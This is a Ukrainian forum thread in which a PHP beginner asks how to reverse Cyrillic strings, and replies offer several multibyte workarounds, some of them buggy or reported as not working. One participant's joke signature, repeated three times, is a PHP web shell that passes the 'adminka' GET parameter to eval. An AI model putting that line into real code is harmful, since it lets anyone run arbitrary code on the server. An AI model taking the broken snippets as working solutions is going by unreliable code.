1

Тема: Проблема з виводом кирилиці в php

Всім привіт. Почав вчити php, перші кроки. Вирішив написати простенький код: вводиш речення, а функція міняє букви в словах задом наперед. Знайшов функцію яка все робить, щоправда міняє місцями і самі слова, але мені підійде. strrev. Все вроді супер, але одна проблема, із виводом кирилиці. Викидує крякозябрики. Добавляв кодування в html, не помогло.
Код:

<!DOCTYPE html>
<html>
 <head>
  <meta charset="utf-8">
  <title>Заміна слів</title>
 </head>
 <body> 
 <?php
    $line="Слово було завжди";
    $line2=strrev($line);
    echo "$line2";
    ?>
 </body>
</html>

Повторюю, я тільки почав вчити, ще зільоний, так що сільно не судіть :)

Про 3D друк та програмування українською: http://freakspace.xyz
Подякували: 221VOLT1

2

Re: Проблема з виводом кирилиці в php

ця функція не працює з кирилицею utf-8, можу написати декілька варіантів "обходу" цього.

=)

3

Re: Проблема з виводом кирилиці в php

Буду щиро вдячний:)

VTrim написав:

ця функція не працює з кирилицею utf-8, можу написати декілька варіантів "обходу" цього.

Про 3D друк та програмування українською: http://freakspace.xyz

4

Re: Проблема з виводом кирилиці в php

Найпростішим буде такий,без різних перекодувань та масивів.

$str='привіт';
$out=null;
for($i=mb_strlen($str)-1; $i>=0; $i--)
$out.=$str[$i];
echo $out;
=)
Подякували: 221VOLT1

5

Re: Проблема з виводом кирилиці в php

PHP не підтримує UTF. Вчіть C#.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

6

Re: Проблема з виводом кирилиці в php

Один з варіантів — http://kvz.io/blog/2012/10/09/reverse-a … ng-in-php/

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: 221VOLT1

7

Re: Проблема з виводом кирилиці в php

Invader написав:

PHP не підтримує UTF. Вчіть C#.

Інколи mbstring вирішує проблему

=)

8

Re: Проблема з виводом кирилиці в php

Або так..

echo implode(array_reverse(str_split($str)));
=)

9

Re: Проблема з виводом кирилиці в php

VTrim написав:

Найпростішим буде такий,без різних перекодувань та масивів.

$str='привіт';
$out=null;
for($i=mb_strlen($str)-1; $i>=0; $i--)
$out.=$str[$i];
echo $out;

не працює. Та ж фігня.

Post's attachments

Безымянный.png 30.89 kb, 79 downloads since 2015-11-23 

Про 3D друк та програмування українською: http://freakspace.xyz

10

Re: Проблема з виводом кирилиці в php

Тоді в файл .htaccess в кореневому каталозі впишіть наступне

AddDefaultCharset UTF-8
=)

11

Re: Проблема з виводом кирилиці в php

VTrim написав:

Тоді в файл .htaccess в кореневому каталозі впишіть наступне

AddDefaultCharset UTF-8

Ні, всерівно те саме:/

Про 3D друк та програмування українською: http://freakspace.xyz

12

Re: Проблема з виводом кирилиці в php

Я не знав, що php не може працювати з кирилицею. Скільки сайтів і книжок перелистав - такого ніде не писало!

Про 3D друк та програмування українською: http://freakspace.xyz

13 Востаннє редагувалося 0xDADA11C7 (24.11.2015 01:46:24)

Re: Проблема з виводом кирилиці в php

UTF-8 не єдине юнікодне кодування

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»

14

Re: Проблема з виводом кирилиці в php

Варіант VTrim не працює, бо $str[$i] - не символ вашого рядка, а символ розміром у байт.
Ось кілька варіантів, найкоротший:

function utf8_strrev($str){
 preg_match_all('/./us', $str, $ar);
 return implode(array_reverse($ar[0]));
}

15

Re: Проблема з виводом кирилиці в php

koala написав:

Варіант VTrim не працює, бо $str[$i] - не символ вашого рядка, а символ розміром у байт.
Ось кілька варіантів, найкоротший:

function utf8_strrev($str){
 preg_match_all('/./us', $str, $ar);
 return implode(array_reverse($ar[0]));
}

Є ще простіший :)

$str='Привіт';
$out=null;
for($i=mb_strlen($str); $i>=0; $i--)
$out.=mb_substr($str,$i,1);
echo $out;
=)
Подякували: koala, 221VOLT2

16

Re: Проблема з виводом кирилиці в php

а файл хоч в UTF-8 зберігається ?

- Поганому трояну фаєрвол заважає
- Ніколи не програмуйте та не пийте пиво
Якщо ви з першого разу написали програму, в якій немає жодної помилки, повідомте про це системного програмісту: він виправить помилки в компіляторі

17

Re: Проблема з виводом кирилиці в php

Пане funivan, відгукніться, будь ласка, в цій темі, бо Ви казали мені, щоб Я не тролив PHP. Ледве стримуюсь, але й самому стало цікаво вирішення даного питання (хоча з cgi той php не потрібен)

Мій блог про ОС сімейства *nix - http://nixtravelling.blogspot.com/

18

Re: Проблема з виводом кирилиці в php

function str_split_unicode($str, $l = 0) {
    if ($l > 0) {
        $ret = array();
        $len = mb_strlen($str, "UTF-8");
        for ($i = 0; $i < $len; $i += $l) {
            $ret[] = mb_substr($str, $i, $l, "UTF-8");
        }
        return $ret;
    }
    return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
}

$str = 'Привіт';
$array = array_reverse(str_split_unicode($str));

var_dump($array);
Подякували: 221VOLT1

19

Re: Проблема з виводом кирилиці в php

Ще такий варіант

$str = 'Привіт';
$out = iconv('utf-16be','utf-8',strrev(iconv('utf-8','utf-16le',$str)));
echo $out;
=)
Подякували: 221VOLT1

20 Востаннє редагувалося Invader (24.11.2015 14:08:39)

Re: Проблема з виводом кирилиці в php

По тому посиланню що я навів є цілком робоча функція.

<?php
function mb_strrev ($string, $encoding = null) {
    if ($encoding === null) {
        $encoding = mb_detect_encoding($string);
    }

    $length   = mb_strlen($string, $encoding);

    $reversed = '';
    while ($length-- > 0) {
        $reversed .= mb_substr($string, $length, 1, $encoding);
    }

    return $reversed;
}
?>

Я не знав, що php не може працювати з кирилицею. Скільки сайтів і книжок перелистав - такого ніде не писало!

Вони приховують правду.
Master_Sergius, давайте жгітє.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!